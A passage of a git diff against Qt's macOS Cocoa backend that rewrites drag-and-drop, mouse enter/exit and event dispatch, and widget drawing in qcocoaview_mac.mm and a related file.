- if (!target)
+ NSPoint nswindowPoint = [sender draggingLocation];
+ NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint];
+ QPoint globalPoint = flipPoint(nsglobalPoint).toPoint();
+
+ QWidget *qwidget = *currentDragTarget();
+ if (!qwidget)
return [super draggingExited:sender];
- if (*currentDragTarget()) {
- [reinterpret_cast<NSView *>((*currentDragTarget())->winId()) draggingExited:sender];
- *currentDragTarget() = 0;
+ if (dropData) {
+ QDragLeaveEvent de;
+ QApplication::sendEvent(qwidget, &de);
+ [self removeDropData];
}
+
+ // Clean-up:
+ [self removeDropData];
+ *currentDragTarget() = 0;
+ [self changeDraggingCursor:NSDragOperationEvery];
}
-- (BOOL)performDragOperation:(id < NSDraggingInfo >)sender
+- (BOOL)performDragOperation:(id <NSDraggingInfo>)sender
{
- QWidget *target = [self dragTargetHitTest:sender];
- if (!target)
- return [super performDragOperation:sender];
-
- BOOL dropResult = NO;
- if (*currentDragTarget()) {
- dropResult = [reinterpret_cast<NSView *>((*currentDragTarget())->winId()) performDragOperation:sender];
- *currentDragTarget() = 0;
- }
- return dropResult;
+ QWidget *qwidget = *currentDragTarget();
+ if (!qwidget)
+ return NO;
+
+ *currentDragTarget() = 0;
+ NSPoint nswindowPoint = [sender draggingLocation];
+ NSPoint nsglobalPoint = [[sender draggingDestinationWindow] convertBaseToScreen:nswindowPoint];
+ QPoint globalPoint = flipPoint(nsglobalPoint).toPoint();
+
+ [self addDropData:sender];
+
+ NSDragOperation nsActions = [sender draggingSourceOperationMask];
+ Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions);
+ QMimeData *mimeData = dropData;
+
+ if (QDragManager::self()->source())
+ mimeData = QDragManager::self()->dragPrivate()->data;
+ if (QDragManager::self()->object)
+ QDragManager::self()->dragPrivate()->target = qwidget;
+
+ QPoint localPoint(qwidget->mapFromGlobal(globalPoint));
+ QDropEvent de(localPoint, qtAllowed, mimeData,
+ QApplication::mouseButtons(), QApplication::keyboardModifiers());
+ QApplication::sendEvent(qwidget, &de);
+
+ if (QDragManager::self()->object)
+ QDragManager::self()->dragPrivate()->executed_action = de.dropAction();
+
+ return de.isAccepted();
}
- (void)displayIfNeeded
@@ -394,8 +581,8 @@ static bool firstDrawingInvocation = true;
- (void)drawRectSpecial:(NSRect)rect
{
// Call the original drawing method.
- [self drawRectOriginal:rect];
- NSWindow *window = [self window];
+ [id(self) drawRectOriginal:rect];
+ NSWindow *window = [id(self) window];
NSToolbar *toolbar = [window toolbar];
if(!toolbar) {
// There is no toolbar, we have to draw a line on top of the line drawn by Cocoa.
@@ -415,3 +602,11 @@ static bool firstDrawingInvocation = true;
}
}
}
+
+- (void)drawRectOriginal:(NSRect)rect
+{
+ Q_UNUSED(rect)
+ // This method implementation is here to silenct the compiler.
+ // See drawRectSpecial for information.
+}
+
diff --git a/src/gui/kernel/qcocoaview_mac.mm b/src/gui/kernel/qcocoaview_mac.mm
index 5ea893c..ff2dfe7 100644
--- a/src/gui/kernel/qcocoaview_mac.mm
+++ b/src/gui/kernel/qcocoaview_mac.mm
@@ -49,7 +49,6 @@
#include <private/qt_cocoa_helpers_mac_p.h>
#include <private/qdnd_p.h>
#include <private/qmacinputcontext_p.h>
-#include <private/qmultitouch_mac_p.h>
#include <private/qevent_p.h>
#include <private/qbackingstore_p.h>
@@ -76,70 +75,16 @@
QT_BEGIN_NAMESPACE
-Q_GLOBAL_STATIC(DnDParams, qMacDnDParams);
-
-extern void qt_mac_update_cursor_at_global_pos(const QPoint &globalPos); // qcursor_mac.mm
+extern void qt_mac_update_cursor(); // qcursor_mac.mm
extern bool qt_sendSpontaneousEvent(QObject *, QEvent *); // qapplication.cpp
+extern QPointer<QWidget> qt_last_mouse_receiver; // qapplication_mac.cpp
+extern QPointer<QWidget> qt_last_native_mouse_receiver; // qt_cocoa_helpers_mac.mm
extern OSViewRef qt_mac_nativeview_for(const QWidget *w); // qwidget_mac.mm
-extern QPointer<QWidget> qt_mouseover; //qapplication_mac.mm
+extern OSViewRef qt_mac_effectiveview_for(const QWidget *w); // qwidget_mac.mm
extern QPointer<QWidget> qt_button_down; //qapplication_mac.cpp
extern Qt::MouseButton cocoaButton2QtButton(NSInteger buttonNum);
-
-struct dndenum_mapper
-{
- NSDragOperation mac_code;
- Qt::DropAction qt_code;
- bool Qt2Mac;
-};
-
-static dndenum_mapper dnd_enums[] = {
- { NSDragOperationLink, Qt::LinkAction, true },
- { NSDragOperationMove, Qt::MoveAction, true },
- { NSDragOperationCopy, Qt::CopyAction, true },
- { NSDragOperationGeneric, Qt::CopyAction, false },
- { NSDragOperationEvery, Qt::ActionMask, false },
- { NSDragOperationNone, Qt::IgnoreAction, false }
-};
-
-static NSDragOperation qt_mac_mapDropAction(Qt::DropAction action)
-{
- for (int i=0; dnd_enums[i].qt_code; i++) {
- if (dnd_enums[i].Qt2Mac && (action & dnd_enums[i].qt_code)) {
- return dnd_enums[i].mac_code;
- }
- }
- return NSDragOperationNone;
-}
-
-static NSDragOperation qt_mac_mapDropActions(Qt::DropActions actions)
-{
- NSDragOperation nsActions = NSDragOperationNone;
- for (int i=0; dnd_enums[i].qt_code; i++) {
- if (dnd_enums[i].Qt2Mac && (actions & dnd_enums[i].qt_code))
- nsActions |= dnd_enums[i].mac_code;
- }
- return nsActions;
-}
-
-static Qt::DropAction qt_mac_mapNSDragOperation(NSDragOperation nsActions)
-{
- Qt::DropAction action = Qt::IgnoreAction;
- for (int i=0; dnd_enums[i].mac_code; i++) {
- if (nsActions & dnd_enums[i].mac_code)
- return dnd_enums[i].qt_code;
- }
- return action;
-}
-
-static Qt::DropActions qt_mac_mapNSDragOperations(NSDragOperation nsActions)
-{
- Qt::DropActions actions = Qt::IgnoreAction;
- for (int i=0; dnd_enums[i].mac_code; i++) {
- if (nsActions & dnd_enums[i].mac_code)
- actions |= dnd_enums[i].qt_code;
- }
- return actions;
-}
+extern QWidget *mac_mouse_grabber;
+extern bool qt_mac_clearDirtyOnWidgetInsideDrawWidget; // qwidget.cpp
static QColor colorFrom(NSColor *color)
{
@@ -185,6 +130,7 @@ extern "C" {
extern NSString *NSTextInputReplacementRangeAttributeName;
}
+//#define ALIEN_DEBUG 1
#ifdef ALIEN_DEBUG
static int qCocoaViewCount = 0;
#endif
@@ -202,12 +148,14 @@ static int qCocoaViewCount = 0;
#ifdef ALIEN_DEBUG
++qCocoaViewCount;
- qDebug() << "init: qCocoaViewCount is" << qCocoaViewCount;
+ qDebug() << "Alien: create native view for" << widget << ". qCocoaViewCount is:" << qCocoaViewCount;
#endif
composing = false;
sendKeyEvents = true;
fromKeyDownEvent = false;
+ alienTouchCount = 0;
+
[self setHidden:YES];
return self;
}
@@ -222,246 +170,15 @@ static int qCocoaViewCount = 0;
object:self];
}
-- (void)resetCursorRects
-{
- // [NSView addCursorRect] is slow, so bail out early if we can:
- if (NSIsEmptyRect([self visibleRect]))
- return;
-
- QWidget *cursorWidget = qwidget;
-
- if (cursorWidget->testAttribute(Qt::WA_TransparentForMouseEvents))
- cursorWidget = QApplication::widgetAt(qwidget->mapToGlobal(qwidget->rect().center()));
-
- if (cursorWidget == 0)
- return;
-
- if (!cursorWidget->testAttribute(Qt::WA_SetCursor)) {
- [super resetCursorRects];
- return;
- }
-
- QRegion mask = qt_widget_private(cursorWidget)->extra->mask;
- NSCursor *nscursor = static_cast<NSCursor *>(qt_mac_nsCursorForQCursor(cursorWidget->cursor()));
- // The mask could have the WA_MouseNoMask attribute set and that means that we have to ignore the mask.
- if (mask.isEmpty() || cursorWidget->testAttribute(Qt::WA_MouseNoMask)) {
- [self addCursorRect:[qt_mac_nativeview_for(cursorWidget) visibleRect] cursor:nscursor];
- } else {
- const QVector<QRect> &rects = mask.rects();
- for (int i = 0; i < rects.size(); ++i) {
- const QRect &rect = rects.at(i);
- [self addCursorRect:NSMakeRect(rect.x(), rect.y(), rect.width(), rect.height()) cursor:nscursor];
- }
- }
-}
-
-- (void)removeDropData
-{
- if (dropData) {
- delete dropData;
- dropData = 0;
- }
-}
-
-- (void)addDropData:(id <NSDraggingInfo>)sender
-{
- [self removeDropData];
- CFStringRef dropPasteboard = (CFStringRef) [[sender draggingPasteboard] name];
- dropData = new QCocoaDropData(dropPasteboard);
-}
-
-- (void)changeDraggingCursor:(NSDragOperation)newOperation
-{
- static SEL action = nil;
- static bool operationSupported = false;
- if (action == nil) {
- action = NSSelectorFromString(@"operationNotAllowedCursor");
- if ([NSCursor respondsToSelector:action]) {
- operationSupported = true;
- }
- }
- if (operationSupported) {
- NSCursor *notAllowedCursor = [NSCursor performSelector:action];
- bool isNotAllowedCursor = ([NSCursor currentCursor] == notAllowedCursor);
- if (newOperation == NSDragOperationNone && !isNotAllowedCursor) {
- [notAllowedCursor push];
- } else if (newOperation != NSDragOperationNone && isNotAllowedCursor) {
- [notAllowedCursor pop];
- }
-
- }
-}
-
-- (NSDragOperation)draggingEntered:(id <NSDraggingInfo>)sender
-{
- // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly
- // from Cocoa. They modify the drag target, and might fake enter/leave events.
- NSPoint windowPoint = [sender draggingLocation];
- dragEnterSequence = [sender draggingSequenceNumber];
- [self addDropData:sender];
- QMimeData *mimeData = dropData;
- if (QDragManager::self()->source())
- mimeData = QDragManager::self()->dragPrivate()->data;
- NSPoint localPoint = [self convertPoint:windowPoint fromView:nil];
- QPoint posDrag(localPoint.x, localPoint.y);
- NSDragOperation nsActions = [sender draggingSourceOperationMask];
- Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions);
- QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions;
- Qt::KeyboardModifiers modifiers = Qt::NoModifier;
- if ([sender draggingSource] != nil) {
- // modifier flags might have changed, update it here since we don't send any input events.
- QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]);
- modifiers = QApplication::keyboardModifiers();
- } else {
- // when the source is from another application the above technique will not work.
- modifiers = qt_cocoaDragOperation2QtModifiers(nsActions);
- }
- // send the drag enter event to the widget.
- QDragEnterEvent qDEEvent(posDrag, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers);
- QApplication::sendEvent(qwidget, &qDEEvent);
- if (!qDEEvent.isAccepted()) {
- // widget is not interested in this drag, so ignore this drop data.
- [self removeDropData];
- [self changeDraggingCursor:NSDragOperationNone];
- return NSDragOperationNone;
- } else {
- // save the mouse position, used by draggingExited handler.
- DnDParams *dndParams = [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent];
- dndParams->activeDragEnterPos = windowPoint;
- // send a drag move event immediately after a drag enter event (as per documentation).
- QDragMoveEvent qDMEvent(posDrag, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers);
- qDMEvent.setDropAction(qDEEvent.dropAction());
- qDMEvent.accept(); // accept by default, since enter event was accepted.
- QApplication::sendEvent(qwidget, &qDMEvent);
- if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) {
- // since we accepted the drag enter event, the widget expects
- // future drage move events.
- // ### check if we need to treat this like the drag enter event.
- nsActions = NSDragOperationNone;
- // Save as ignored in the answer rect.
- qDMEvent.setDropAction(Qt::IgnoreAction);
- } else {
- nsActions = QT_PREPEND_NAMESPACE(qt_mac_mapDropAction)(qDMEvent.dropAction());
- }
- QT_PREPEND_NAMESPACE(qt_mac_copy_answer_rect)(qDMEvent);
- [self changeDraggingCursor:nsActions];
- return nsActions;
- }
- }
-- (NSDragOperation)draggingUpdated:(id < NSDraggingInfo >)sender
-{
- // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly
- // from Cocoa. They modify the drag target, and might fake enter/leave events.
- NSPoint windowPoint = [sender draggingLocation];
- // in cases like QFocusFrame, the view under the mouse might
- // not have received the drag enter. Generate a synthetic
- // drag enter event for that view.
- if (dragEnterSequence != [sender draggingSequenceNumber])
- [self draggingEntered:sender];
- // drag enter event was rejected, so ignore the move event.
- if (dropData == 0) {
- [self changeDraggingCursor:NSDragOperationNone];
- return NSDragOperationNone;
- }
- // return last value, if we are still in the answerRect.
- NSPoint localPoint = [self convertPoint:windowPoint fromView:nil];
- NSDragOperation nsActions = [sender draggingSourceOperationMask];
- QPoint posDrag(localPoint.x, localPoint.y);
- if (qt_mac_mouse_inside_answer_rect(posDrag)
- && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) == nsActions) {
- NSDragOperation operation = QT_PREPEND_NAMESPACE(qt_mac_mapDropActions)(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastAction));
- [self changeDraggingCursor:operation];
- return operation;
- }
- // send drag move event to the widget
- QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec.lastOperation) = nsActions;
- Qt::DropActions qtAllowed = QT_PREPEND_NAMESPACE(qt_mac_mapNSDragOperations)(nsActions);
- Qt::KeyboardModifiers modifiers = Qt::NoModifier;
- if ([sender draggingSource] != nil) {
- // modifier flags might have changed, update it here since we don't send any input events.
- QApplicationPrivate::modifier_buttons = qt_cocoaModifiers2QtModifiers([[NSApp currentEvent] modifierFlags]);
- modifiers = QApplication::keyboardModifiers();
- } else {
- // when the source is from another application the above technique will not work.
- modifiers = qt_cocoaDragOperation2QtModifiers(nsActions);
- }
- QMimeData *mimeData = dropData;
- if (QDragManager::self()->source())
- mimeData = QDragManager::self()->dragPrivate()->data;
- QDragMoveEvent qDMEvent(posDrag, qtAllowed, mimeData, QApplication::mouseButtons(), modifiers);
- if (QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction != Qt::IgnoreAction
- && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).buttons == qDMEvent.mouseButtons()
- && QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).modifiers == qDMEvent.keyboardModifiers())
- qDMEvent.setDropAction(QT_PREPEND_NAMESPACE(qt_mac_dnd_answer_rec).lastAction);
- qDMEvent.accept();
- QApplication::sendEvent(qwidget, &qDMEvent);
-
- NSDragOperation operation = qt_mac_mapDropAction(qDMEvent.dropAction());
- if (!qDMEvent.isAccepted() || qDMEvent.dropAction() == Qt::IgnoreAction) {
- // ignore this event (we will still receive further notifications)
- operation = NSDragOperationNone;
- // Save as ignored in the answer rect.
- qDMEvent.setDropAction(Qt::IgnoreAction);
- }
- qt_mac_copy_answer_rect(qDMEvent);
- [self changeDraggingCursor:operation];
- return operation;
-}
-
-- (void)draggingExited:(id < NSDraggingInfo >)sender
-{
- // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly
- // from Cocoa. They modify the drag target, and might fake enter/leave events.
- Q_UNUSED(sender);
- dragEnterSequence = -1;
- // drag enter event was rejected, so ignore the move event.
- if (dropData) {
- QDragLeaveEvent de;
- QApplication::sendEvent(qwidget, &de);
- [self removeDropData];
- }
- [self changeDraggingCursor:NSDragOperationEvery];
-
-}
-
-- (BOOL)performDragOperation:(id <NSDraggingInfo>)sender
-{
- // NB: This function is called from QCoocaWindow/QCocoaPanel rather than directly
- // from Cocoa. They modify the drag target, and might fake enter/leave events.
- NSPoint windowPoint = [sender draggingLocation];
- dragEnterSequence = -1;
- [self addDropData:sender];
-
- NSPoint localPoint = [self convertPoint:windowPoint fromView:nil];
- QPoint posDrop(localPoint.x, localPoint.y);
-
- NSDragOperation nsActions = [sender draggingSourceOperationMask];
- Qt::DropActions qtAllowed = qt_mac_mapNSDragOperations(nsActions);
- QMimeData *mimeData = dropData;
- if (QDragManager::self()->source())
- mimeData = QDragManager::self()->dragPrivate()->data;
- // send the drop event to the widget.
- QDropEvent de(posDrop, qtAllowed, mimeData,
- QApplication::mouseButtons(), QApplication::keyboardModifiers());
- if (QDragManager::self()->object)
- QDragManager::self()->dragPrivate()->target = qwidget;
- QApplication::sendEvent(qwidget, &de);
- if (QDragManager::self()->object)
- QDragManager::self()->dragPrivate()->executed_action = de.dropAction();
- if (!de.isAccepted())
- return NO;
- else
- return YES;
-}
-
- (void)dealloc
{
+ QMacCocoaAutoReleasePool pool;
delete composingText;
[[NSNotificationCenter defaultCenter] removeObserver:self];
#ifdef ALIEN_DEBUG
--qCocoaViewCount;
- qDebug() << "qCocoaViewCount is" << qCocoaViewCount;
+ qDebug() << "Alien: widget deallocated. qCocoaViewCount is:" << qCocoaViewCount;
#endif
[super dealloc];
@@ -529,9 +246,8 @@ static int qCocoaViewCount = 0;
{
if (!qwidget)
return;
-
- // We use a different graphics system.
if (QApplicationPrivate::graphicsSystem() != 0 && !qwidgetprivate->isInUnifiedToolbar) {
+ // INVARIANT: We use a different graphics system.
// Qt handles the painting occuring inside the window.
// Cocoa also keeps track of all widgets as NSView and therefore might
@@ -558,7 +274,7 @@ static int qCocoaViewCount = 0;
qwidgetprivate->hd = cg;
// We steal the CGContext for flushing in the unified toolbar with the raster engine.
- if (QApplicationPrivate::graphicsSystem() != 0 && qwidgetprivate->isInUnifiedToolbar) {
+ if (QApplicationPrivate::graphicsSystem() != 0 && qwidgetprivate->isInUnifiedToolbar && qwidgetprivate->unifiedSurface) {
qwidgetprivate->cgContext = cg;
qwidgetprivate->hasOwnContext = true;
qwidgetprivate->unifiedSurface->flush(qwidget, qwidgetprivate->ut_rg, qwidgetprivate->ut_pt);
@@ -574,13 +290,13 @@ static int qCocoaViewCount = 0;
const QRect qrect = QRect(aRect.origin.x, aRect.origin.y, aRect.size.width, aRect.size.height);
QRegion qrgn;
- const NSRect *rects;
- NSInteger count;
- [self getRectsBeingDrawn:&rects count:&count];
- for (int i = 0; i < count; ++i) {
- QRect tmpRect = QRect(rects[i].origin.x, rects[i].origin.y, rects[i].size.width, rects[i].size.height);
- qrgn += tmpRect;
- }
+ const NSRect *rects;
+ NSInteger count;
+ [self getRectsBeingDrawn:&rects count:&count];
+ for (int i = 0; i < count; ++i) {
+ QRect tmpRect = QRect(rects[i].origin.x, rects[i].origin.y, rects[i].size.width, rects[i].size.height);
+ qrgn += tmpRect;
+ }
if (!qwidget->isWindow() && !qobject_cast<QAbstractScrollArea *>(qwidget->parent())) {
const QRegion &parentMask = qwidget->window()->mask();
@@ -610,38 +326,27 @@ static int qCocoaViewCount = 0;
}
if (qwidget->isWindow() && !qwidgetprivate->isOpaque
- && !qwidget->testAttribute(Qt::WA_MacBrushedMetal)) {
+ && !qwidget->testAttribute(Qt::WA_MacBrushedMetal)) {
CGContextClearRect(cg, NSRectToCGRect(aRect));
}
- // Check for alien widgets, use qwidgetPrivate->drawWidget() to draw the widget if this
- // is the case. This makes sure child widgets are drawn as well, Cocoa does not know about
- // those and wont send them drawRect calls.
- if (qwidget->testAttribute(Qt::WA_NativeWindow) && qt_widget_private(qwidget)->hasAlienChildren == false) {
- if ((engine && !qwidget->testAttribute(Qt::WA_NoSystemBackground)
- && (qwidget->isWindow() || qwidget->autoFillBackground()))
- || qwidget->testAttribute(Qt::WA_TintedBackground)
- || qwidget->testAttribute(Qt::WA_StyledBackground)) {
-#ifdef DEBUG_WIDGET_PAINT
- if(doDebug)
- qDebug(" Handling erase for [%s::%s]", qwidget->metaObject()->className(),
- qwidget->objectName().local8Bit().data());
-#endif
- QPainter p(qwidget);
- qwidgetprivate->paintBackground(&p, qrgn,
- qwidget->isWindow() ? QWidgetPrivate::DrawAsRoot : 0);
- p.end();
- }
- QPaintEvent e(qrgn);
-#ifdef QT3_SUPPORT
- e.setErased(true);
-#endif
- qt_sendSpontaneousEvent(qwidget, &e);
- } else {
- qwidget->setAttribute(Qt::WA_WState_InPaintEvent, false); // QWidgetPrivate::drawWidget sets this
- QWidgetPrivate *qwidgetPrivate = qt_widget_private(qwidget);
- qwidgetPrivate->drawWidget(qwidget, qrgn, QPoint(), QWidgetPrivate::DrawAsRoot | QWidgetPrivate::DrawPaintOnScreen | QWidgetPrivate::DrawRecursive, 0);
- }
+ qwidget->setAttribute(Qt::WA_WState_InPaintEvent, false);
+ QWidgetPrivate *qwidgetPrivate = qt_widget_private(qwidget);
+
+ // We specify that we want to draw the widget itself, and
+ // all its children recursive. But we skip native children, because
+ // they will receive drawRect calls by themselves as needed:
+ int flags = QWidgetPrivate::DrawPaintOnScreen
+ | QWidgetPrivate::DrawRecursive
+ | QWidgetPrivate::DontDrawNativeChildren;
+
+ if (qwidget->isWindow())
+ flags |= QWidgetPrivate::DrawAsRoot;
+
+ // Start to draw:
+ qt_mac_clearDirtyOnWidgetInsideDrawWidget = true;
+ qwidgetPrivate->drawWidget(qwidget, qrgn, QPoint(), flags, 0);
+ qt_mac_clearDirtyOnWidgetInsideDrawWidget = false;
if (!redirectionOffset.isNull())
QPainter::restoreRedirected(qwidget);
@@ -650,7 +355,7 @@ static int qCocoaViewCount = 0;
qwidget->setAttribute(Qt::WA_WState_InPaintEvent, false);
if(!qwidget->testAttribute(Qt::WA_PaintOutsidePaintEvent) && qwidget->paintingActive())
qWarning("QWidget: It is dangerous to leave painters active on a"
- " widget outside of the PaintEvent");
+ " widget outside of the PaintEvent");
}
qwidgetprivate->hd = 0;
CGContextRestoreGState(cg);
@@ -659,11 +364,13 @@ static int qCocoaViewCount = 0;
- (BOOL)acceptsFirstMouse:(NSEvent *)theEvent
{
- if (!qwidget)
+ // Find the widget that should receive the event:
+ QPoint qlocal, qglobal;
+ QWidget *widgetToGetMouse = qt_mac_getTargetForMouseEvent(theEvent, QEvent::MouseButtonPress, qlocal, qglobal, qwidget, 0);
+ if (!widgetToGetMouse)
return NO;
- Q_UNUSED(theEvent);
- return !qwidget->testAttribute(Qt::WA_MacNoClickThrough);
+ return !widgetToGetMouse->testAttribute(Qt::WA_MacNoClickThrough);
}
- (NSView *)hitTest:(NSPoint)aPoint
@@ -714,161 +421,120 @@ static int qCocoaViewCount = 0;
- (void)mouseEntered:(NSEvent *)event
{
- if (!qwidget)
- return;
- if (qwidgetprivate->data.in_destructor)
- return;
-
- if (!qAppInstance()->activeModalWidget() || QApplicationPrivate::tryModalHelper(qwidget, 0)) {
- QEvent enterEvent(QEvent::Enter);
- NSPoint windowPoint = [event locationInWindow];
- NSPoint globalPoint = [[event window] convertBaseToScreen:windowPoint];
- NSPoint viewPoint = [self convertPoint:windowPoint fromView:nil];
- QApplication::sendEvent(qwidget, &enterEvent);
- qt_mouseover = qwidget;
-
- // Update cursor icon:
- qt_mac_update_cursor_at_global_pos(flipPoint(globalPoint).toPoint());
-
- // Send mouse move and hover events as well:
- if (!qAppInstance()->activePopupWidget() || qAppInstance()->activePopupWidget() == qwidget->window()) {
- // This mouse move event should be sendt, even when mouse
- // tracking is switched off (to trigger tooltips):
- NSEvent *mouseEvent = [NSEvent mouseEventWithType:NSMouseMoved
- location:windowPoint modifierFlags:[event modifierFlags] timestamp:[event timestamp]
- windowNumber:[event windowNumber] context:[event context] eventNumber:[event eventNumber]
- clickCount:0 pressure:0];
- qt_mac_handleMouseEvent(self, mouseEvent, QEvent::MouseMove, Qt::NoButton);
-
- if (qwidget->testAttribute(Qt::WA_Hover)) {
- QHoverEvent he(QEvent::HoverEnter, QPoint(viewPoint.x, viewPoint.y), QPoint(-1, -1));
- QApplicationPrivate::instance()->notify_helper(qwidget, &he);
- }
- }
- }
+ // Cocoa will not send a move event on mouseEnter. But since
+ // Qt expect this, we fake one now. See also mouseExited below
+ // for info about enter/leave event handling
+ NSEvent *nsmoveEvent = [NSEvent
+ mouseEventWithType:NSMouseMoved
+ location:[[self window] mouseLocationOutsideOfEventStream]
+ modifierFlags: [event modifierFlags]
+ timestamp: [event timestamp]
+ windowNumber: [event windowNumber]
+ context: [event context]
+ eventNumber: [event eventNumber]
+ clickCount: 0
+ pressure: 0];
+
+ // Important: Cocoa sends us mouseEnter on all views under the mouse
+ // and not just the one on top. Therefore, to we cannot use qwidget
+ // as native widget for this case. Instead, we let qt_mac_handleMouseEvent
+ // resolve it (last argument set to 0):
+ qt_mac_handleMouseEvent(nsmoveEvent, QEvent::MouseMove, Qt::NoButton, 0);
}
- (void)mouseExited:(NSEvent *)event
{
- if (!qwidget)
- return;
-
- QEvent leaveEvent(QEvent::Leave);
- NSPoint globalPoint = [[event window] convertBaseToScreen:[event locationInWindow]];
- if (!qAppInstance()->activeModalWidget() || QApplicationPrivate::tryModalHelper(qwidget, 0)) {
- QApplication::sendEvent(qwidget, &leaveEvent);
-
- // ### Think about if it is necessary to update the cursor, should only be for a few cases.
- qt_mac_update_cursor_at_global_pos(flipPoint(globalPoint).toPoint());
- if (qwidget->testAttribute(Qt::WA_Hover)
- && (!qAppInstance()->activePopupWidget() || qAppInstance()->activePopupWidget() == qwidget->window())) {
- QHoverEvent he(QEvent::HoverLeave, QPoint(-1, -1),
- qwidget->mapFromGlobal(QApplicationPrivate::instance()->hoverGlobalPos));
- QApplicationPrivate::instance()->notify_helper(qwidget, &he);
+ // Note: normal enter/leave handling is done from within mouseMove. This handler
+ // catches the case when the mouse moves out of the window (which mouseMove do not).
+ // Updating the mouse cursor follows the same logic as enter/leave. And we update
+ // neither if a grab exists (even if the grab points to this widget, it seems, ref X11)
+ Q_UNUSED(event);
+ if (self == [[self window] contentView] && !qt_button_down && !QWidget::mouseGrabber()) {
+ qt_mac_update_cursor();
+ // If the mouse exits the content view, but qt_mac_getTargetForMouseEvent still
+ // reports a target, it means that either there is a grab involved, or the mouse
+ // hovered over another window in the application. In both cases, move events will
+ // cause qt_mac_handleMouseEvent to be called, which will handle enter/leave.
+ QPoint qlocal, qglobal;
+ QWidget *widgetUnderMouse = 0;
+ qt_mac_getTargetForMouseEvent(event, QEvent::Leave, qlocal, qglobal, qwidget, &widgetUnderMouse);
+
+ if (widgetUnderMouse == 0) {
+ QApplicationPrivate::dispatchEnterLeave(0, qt_last_mouse_receiver);
+ qt_last_mouse_receiver = 0;
+ qt_last_native_mouse_receiver = 0;
}
}
}
- (void)flagsChanged:(NSEvent *)theEvent
{
- if (!qwidget)
+ QWidget *widgetToGetKey = qt_mac_getTargetForKeyEvent(qwidget);
+ if (!widgetToGetKey)
return;
- QWidget *widgetToGetKey = qwidget;
-
- QWidget *popup = qAppInstance()->activePopupWidget();
- if (popup && popup != qwidget->window())
- widgetToGetKey = popup->focusWidget() ? popup->focusWidget() : popup;
qt_dispatchModifiersChanged(theEvent, widgetToGetKey);
[super flagsChanged:theEvent];
}
- (void)mouseMoved:(NSEvent *)theEvent
{
- if (!qwidget)
- return;
-
- // We always enable mouse tracking for all QCocoaView-s. In cases where we have
- // child views, we will receive mouseMoved for both parent & the child (if
- // mouse is over the child). We need to ignore the parent mouseMoved in such
- // cases.
- NSPoint windowPoint = [theEvent locationInWindow];
- NSView *candidateView = [[[self window] contentView] hitTest:windowPoint];
- if (candidateView && candidateView == self) {
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton);
- }
+ // Important: this method will only be called when the view's window is _not_ inside
+ // QCocoaWindow/QCocoaPanel. Otherwise, [QCocoaWindow sendEvent] will handle the event
+ // before it ends up here. So, this method is added for supporting QMacNativeWidget.
+ // TODO: Cocoa send move events to all views under the mouse. So make sure we only
+ // handle the event for the widget on top when using QMacNativeWidget.
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget);
}
- (void)mouseDown:(NSEvent *)theEvent
{
- if (!qt_button_down)
- qt_button_down = qwidget;
-
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonPress, Qt::LeftButton);
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonPress, Qt::LeftButton, qwidget);
// Don't call super here. This prevents us from getting the mouseUp event,
// which we need to send even if the mouseDown event was not accepted.
// (this is standard Qt behavior.)
}
-
- (void)mouseUp:(NSEvent *)theEvent
{
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonRelease, Qt::LeftButton);
-
- qt_button_down = 0;
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonRelease, Qt::LeftButton, qwidget);
}
- (void)rightMouseDown:(NSEvent *)theEvent
{
- if (!qt_button_down)
- qt_button_down = qwidget;
-
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonPress, Qt::RightButton);
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonPress, Qt::RightButton, qwidget);
}
- (void)rightMouseUp:(NSEvent *)theEvent
{
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonRelease, Qt::RightButton);
-
- qt_button_down = 0;
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonRelease, Qt::RightButton, qwidget);
}
- (void)otherMouseDown:(NSEvent *)theEvent
{
- if (!qt_button_down)
- qt_button_down = qwidget;
-
Qt::MouseButton mouseButton = cocoaButton2QtButton([theEvent buttonNumber]);
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonPress, mouseButton);
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonPress, mouseButton, qwidget);
}
- (void)otherMouseUp:(NSEvent *)theEvent
{
Qt::MouseButton mouseButton = cocoaButton2QtButton([theEvent buttonNumber]);
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseButtonRelease, mouseButton);
-
- qt_button_down = 0;
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseButtonRelease, mouseButton, qwidget);
}
- (void)mouseDragged:(NSEvent *)theEvent
{
- qMacDnDParams()->view = self;
- qMacDnDParams()->theEvent = theEvent;
- qt_mac_handleMouseEvent(self, theEvent, QEvent::MouseMove, Qt::NoButton);
+ qt_mac_handleMouseEvent(theEvent, QEvent::MouseMove, Qt::NoButton, qwidget);
}
- (void)rightMouseDragged:(NSEvent *)theEvent
{
- qMacDnDParams()->view = self;
- qMacDnDParams()->theEvent = theEvent;
